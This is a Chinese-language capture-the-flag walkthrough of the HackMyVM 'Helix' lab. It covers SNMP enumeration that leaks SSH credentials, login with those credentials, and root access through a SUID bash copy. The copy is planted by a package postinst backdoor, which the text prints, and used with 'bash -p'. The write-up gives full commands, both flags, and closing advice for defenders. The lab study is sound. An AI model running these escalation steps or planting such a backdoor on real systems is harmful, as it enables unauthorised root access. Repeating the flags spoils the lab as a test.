跳到主要内容

HackMyVM Helix 通关记录｜SNMP 凭据泄露与 SUID Bash 提权

靶机链接：Helix

0x01 基本信息​

名称IP说明
Kali Linux192.168.1.113攻击机
Helix192.168.1.114靶机

攻击流程​

点击展开

攻击链摘要​

阶段关键证据 / 操作作用
TCP 发现仅开放 22/tcp SSH常规 Web 路线不存在，需要补充 UDP 扫描
UDP 发现161/udp SNMP 开放找到真正的信息泄露面
SNMP 枚举public community 可读，sysContact = Me:lixeh22泄露疑似账号密码
初始访问me:lixeh22 SSH 登录成功获得普通用户 shell
本地枚举/var/tmp/.suid_bash 带 SUID root 位定位直接提权入口
来源追溯pk-payload-2219.postinst 执行 install -m 4755 /bin/bash /var/tmp/.suid_bash确认异常 SUID Bash 的来源
Root 提权/var/tmp/.suid_bash -p以 euid=0 读取 root flag

0x02 侦察与信息收集​

1. TCP 全端口扫描​

先用 RustScan 快速发现 TCP 开放端口，并把结果交给 Nmap 做默认脚本和版本识别：

rustscan -a 192.168.1.114 --ulimit 5000 -- -sC -sV -oN outputs/rustscan_nmap_initial.txt

关键结果：

Open 192.168.1.114:22
22/tcp open  ssh  OpenSSH 10.0p2 Debian 7+deb13u2 (protocol 2.0)
Host: helix.lan
MAC Address: 08:00:27:6B:4A:02 (Oracle VirtualBox virtual NIC)

服务摘要：

端口服务指纹 / 备注
22/tcpSSHOpenSSH 10.0p2 Debian 7+deb13u2

再做一轮 TCP 全端口复核：

nmap -p- --min-rate 5000 -vv -oN outputs/nmap_all_tcp_confirm.txt 192.168.1.114

结果仍然只有 22/tcp 开放。此时不要只盯着 SSH 爆破，应该补充 UDP 扫描。Nmap 的 UDP 扫描参数和取舍可参考知识库：Nmap 端口扫描与服务识别。

2. UDP 扫描发现 SNMP​

nmap -sU --top-ports 50 --version-intensity 2 -oN outputs/nmap_udp_top50.txt 192.168.1.114

关键结果：

68/udp  open|filtered dhcpc
161/udp open          snmp

161/udp 开放说明目标运行 SNMP。由于 SNMP 经常暴露系统描述、接口、进程、监听端口和管理员联系方式，后续重点转向 community 枚举。

3. SSH 脚本枚举​

nmap -p22 --script ssh2-enum-algos,ssh-auth-methods,ssh-hostkey -oN outputs/nmap_ssh_scripts.txt 192.168.1.114

关键结果：

Supported authentication methods:
  publickey
  password

SSH 支持密码登录，因此后面如果从 SNMP 拿到疑似凭据，可以直接验证。

4. SNMP Community 枚举​

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt 192.168.1.114

关键结果：

192.168.1.114 [public] Linux helix 6.12.74+deb13+1-amd64 ...

public community 可读，说明可以继续拉取 SNMP 对象。

5. SNMP 信息泄露​

snmp-check -c public -v 2c 192.168.1.114
snmpwalk -v2c -c public 192.168.1.114 iso > outputs/snmpwalk_public_iso.txt

关键结果：

Hostname    : helix
Description : Linux helix 6.12.74+deb13+1-amd64 Debian 6.12.74-2
Contact     : Me:lixeh22
Location    : Sitting on the Dock of the Bay

Listening TCP:
0.0.0.0:22

Listening UDP:
0.0.0.0:161
192.168.1.114:68
192.168.56.103:68

Installed package:
pk-payload-2219_1.0_all

这里有三个关键信息：

  1. Contact: Me:lixeh22 形态很像 user:password。
  2. pk-payload-2219_1.0_all 不是常规业务包名，拿到 shell 后需要重点检查。
  3. SNMP 泄露了第二块网卡 192.168.56.103/24，说明靶机还有 Host-only 接口，但当前主线仍从 192.168.1.114 进入。

0x03 SSH 初始访问​

1. 验证 SNMP Contact 凭据​

Contact 字段给出的 Me:lixeh22 很像凭据对。Linux 用户名通常为小写，因此先测试 me:lixeh22：

sshpass -p 'lixeh22' ssh -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no \
  me@192.168.1.114 'id; hostname; pwd'

关键结果：

uid=1001(me) gid=1001(me) groups=1001(me)
helix
/home/me

结论：SNMP sysContact 字段直接泄露了可用 SSH 凭据。

用户名密码来源
melixeh22SNMP sysContact = Me:lixeh22

2. 读取 User Flag​

登录后检查家目录：

ls -la /home/me
cat /home/me/user.txt

User Flag：

410e2fb19f61cbce630520b66368cf11d04934650ffecaac322c0acd6d7511ae

0x04 权限提升​

1. 本地基础枚举​

先看 sudo、SUID、Capabilities 和前面 SNMP 暴露的可疑包：

sudo -l
find / -perm -4000 -type f -not -path "/proc/*" -ls 2>/dev/null
getcap -r / 2>/dev/null
dpkg -L pk-payload-2219 2>/dev/null

关键结果：

Sorry, user me may not run sudo on helix.

/var/tmp/.suid_bash
/usr/bin/sudo
/usr/bin/su
...

/var/tmp/.suid_bash 最值得优先验证：它位于异常目录，文件名可疑，属主为 root，并且设置了 SUID 位。

2. 追溯异常 SUID Bash 来源​

继续检查 pk-payload-2219 的包信息和安装后脚本：

dpkg -s pk-payload-2219
cat /var/lib/dpkg/info/pk-payload-2219.postinst
cat /var/lib/dpkg/info/pk-payload-2219.list

关键结果：

Package: pk-payload-2219
Description: CVE-2026-41651 test package

#!/bin/sh
install -m 4755 /bin/bash /var/tmp/.suid_bash

/.

这说明该包没有投放常规业务文件，核心行为集中在 postinst。安装后脚本直接把 /bin/bash 复制为 /var/tmp/.suid_bash 并赋予 4755，因此 pk-payload-2219 本身就是后门来源。

3. 验证 SUID Bash​

ls -l /var/tmp/.suid_bash /bin/bash
file /var/tmp/.suid_bash /bin/bash
sha256sum /var/tmp/.suid_bash /bin/bash

关键结果：

-rwsr-xr-x 1 root root 1298416 Apr 30 22:00 /var/tmp/.suid_bash
-rwxr-xr-x 1 root root 1298416 Mar  8 16:21 /bin/bash

223fe8564b60636bc738b6178d3ba9a50ef7d791266b0efae6363bb716e4c47f  /var/tmp/.suid_bash
223fe8564b60636bc738b6178d3ba9a50ef7d791266b0efae6363bb716e4c47f  /bin/bash

/var/tmp/.suid_bash 与 /bin/bash 哈希一致，本质上就是一个额外设置了 SUID 位的 Bash 副本。

4. 利用 SUID Bash 获取 Root​

/var/tmp/.suid_bash -p -c 'id'

关键结果：

uid=1001(me) gid=1001(me) euid=0(root) groups=1001(me)

bash -p 会保留 effective UID。如果不加 -p，bash 通常会主动丢弃 SUID 带来的特权。

5. 读取 Root Flag​

/var/tmp/.suid_bash -p -c 'cat /root/root.txt'

Root Flag：

3faf135eff748a201ff898b011c202bafb52ab89168ab90bae804d584a5e8565

0x05 取证补充​

1. root 历史记录​

通过 SUID Bash 可读取 /root/.bash_history，其中能看到靶机曾进行用户清理和文件编辑：

cat /home/user/user.txt
userdel user
deluser --remove-home user
nano root.txt

这说明靶机可能原本存在另一个普通用户 user，后续被手工删除。当前攻击链不依赖这条历史路径。

2. 可疑 Debian 包​

再次回看 pk-payload-2219：

dpkg -s pk-payload-2219
cat /var/lib/dpkg/info/pk-payload-2219.postinst

关键结果：

Package: pk-payload-2219
Description: CVE-2026-41651 test package

#!/bin/sh
install -m 4755 /bin/bash /var/tmp/.suid_bash

该包不是单纯诱饵。完整来源链应为：pk-payload-2219 安装后脚本植入 SUID Bash，普通用户通过 bash -p 保留 euid=0 完成本地提权。

0x06 最终成果 (Final Flags)​

User Flag​

  • 路径： /home/me/user.txt
  • 内容： 410e2fb19f61cbce630520b66368cf11d04934650ffecaac322c0acd6d7511ae

Root Flag​

  • 路径： /root/root.txt
  • 内容： 3faf135eff748a201ff898b011c202bafb52ab89168ab90bae804d584a5e8565

复盘总结​

  1. TCP 只有 SSH 时要补 UDP。 Helix 的关键入口不是 Web，而是 161/udp SNMP。如果只做 TCP 扫描，很容易误判为只能 SSH 爆破。

  2. SNMP 的 public community 足以造成凭据泄露。 sysContact = Me:lixeh22 直接暴露了可用 SSH 凭据线索，大小写归一后即可登录 me。

  3. 枚举结果要前后串联。 SNMP 阶段已经出现 pk-payload-2219_1.0_all，本地枚举时再发现 /var/tmp/.suid_bash，两者结合就能追溯后门来源。

  4. SUID Bash 的关键是 -p。 SUID 位只让进程具备 euid=0，执行 bash 时必须带 -p 保留特权，否则可能看不到 root 效果。

  5. 异常包和异常 SUID 都应纳入防守审计。 postinst 写入 SUID Bash 是典型持久化/后门行为；防守侧应审计 /var/lib/dpkg/info/*.postinst、异常 SUID 文件和 SNMP community 配置。